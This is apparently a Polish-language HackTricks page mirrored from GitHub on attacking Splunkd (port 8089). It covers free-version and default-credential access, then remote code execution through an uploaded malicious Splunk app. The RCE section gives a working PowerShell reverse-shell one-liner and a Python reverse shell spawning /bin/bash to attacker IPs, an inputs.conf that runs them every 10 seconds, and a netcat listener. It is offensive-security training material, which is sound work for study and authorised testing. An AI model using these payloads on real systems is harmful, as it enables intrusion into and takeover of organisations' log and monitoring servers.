mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 17:41:04 +00:00
138 lines
9 KiB
Markdown
138 lines
9 KiB
Markdown
# 8089 - Testowanie penetracyjne Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
|
|
|
</details>
|
|
|
|
## **Podstawowe informacje**
|
|
|
|
Splunk to narzędzie do **analizy logów**, które odgrywa kluczową rolę w **zbieraniu, analizowaniu i wizualizacji danych**. Choć początkowo nie było przeznaczone do pełnienia roli narzędzia **SIEM (Security Information and Event Management)**, zyskało popularność w dziedzinie **monitorowania bezpieczeństwa** i **analizy biznesowej**.
|
|
|
|
Instalacje Splunka są często wykorzystywane do przechowywania **danych poufnych** i mogą stanowić **cennego źródła informacji** dla potencjalnych atakujących, jeśli uda im się skompromitować system. **Domyślny port:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Serwer WWW **Splunk** domyślnie działa na porcie 8000.
|
|
{% endhint %}
|
|
|
|
## Wyliczanie
|
|
|
|
### Wersja darmowa
|
|
|
|
Po 60 dniach **okres próbny Splunk Enterprise** przekształca się w **wersję darmową**, która **nie wymaga uwierzytelnienia**. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształca się ona w wersję darmową, która nie posiada żadnej formy uwierzytelnienia, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.
|
|
|
|
### Domyślne dane uwierzytelniające
|
|
|
|
W starszych wersjach Splunka domyślne dane uwierzytelniające to **`admin:changeme`**, które wygodnie są wyświetlane na stronie logowania.\
|
|
Jednak **najnowsza wersja Splunka** ustawia **dane uwierzytelniające** **podczas procesu instalacji**. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić powszechne słabe hasła, takie jak `admin`, `Welcome`, `Welcome1`, `Password123`, itp.
|
|
|
|
### Pozyskiwanie informacji
|
|
|
|
Po zalogowaniu do Splunka możemy **przeglądać dane**, uruchamiać **raporty**, tworzyć **wykresy**, **instalować aplikacje** z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.\
|
|
Można również uruchamiać kod: Splunk ma wiele sposobów **uruchamiania kodu**, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skryptowane dane wejściowe i skrypty alarmowe. Powszechną metodą zdobycia zdalnego wykonania kodu na serwerze Splunka jest użycie skryptowanego wejścia.
|
|
|
|
Co więcej, ponieważ Splunk może być instalowany na hostach z systemem Windows lub Linux, można tworzyć skryptowane dane wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Tworzenie niestandardowej aplikacji
|
|
|
|
Niestandardowa aplikacja może uruchamiać **skrypty Pythona, Batch, Bash lub PowerShell**.\
|
|
Zauważ, że **Splunk ma zainstalowanego Pythona**, więc nawet na systemach **Windows** będzie można uruchamiać kod pythona.
|
|
|
|
Możesz skorzystać z [**tego**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakietu Splunka, aby nam pomóc. Katalog **`bin`** w tym repozytorium zawiera przykłady dla [Pythona](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShella](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Przejdźmy przez to krok po kroku.
|
|
|
|
Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Katalog **`bin`** będzie zawierał wszelkie **skrypty, które zamierzamy uruchomić** (w tym przypadku odwrócony shell **PowerShell**), a domyślny katalog będzie zawierał plik `inputs.conf`. Nasz odwrócony shell będzie **jednolinijkowym skryptem PowerShell:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Plik [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) mówi Splunkowi **który skrypt uruchomić** i jakie są inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Potrzebujemy pliku `.bat`, który zostanie uruchomiony po wdrożeniu aplikacji i wykona polecenie PowerShell.
|
|
|
|
Następnym krokiem jest wybranie opcji `Zainstaluj aplikację z pliku` i przesłanie aplikacji.
|
|
|
|
<figure><img src="../.gitbook/assets/image (665).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą programu Netcat lub [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Na stronie `Prześlij aplikację` kliknij przycisk przeglądaj, wybierz plik tarball, który wcześniej utworzyliśmy, a następnie kliknij `Prześlij`. Gdy tylko **załadujemy aplikację**, status aplikacji automatycznie zmieni się na `Włączony`, a my otrzymamy **odwrotną powłokę**.
|
|
|
|
#### Linux
|
|
|
|
Jeśli mielibyśmy do czynienia z hostem **Linux**, musielibyśmy **edytować skrypt Pythona `rev.py`** przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwrotną powłoką na naszym słuchaczu Netcat i moglibyśmy ruszyć do działania.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Eskalacja uprawnień
|
|
|
|
Na następnej stronie znajdziesz wyjaśnienie, jak można nadużyć tego usługi do eskalacji uprawnień i uzyskania trwałości:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Odnośniki
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|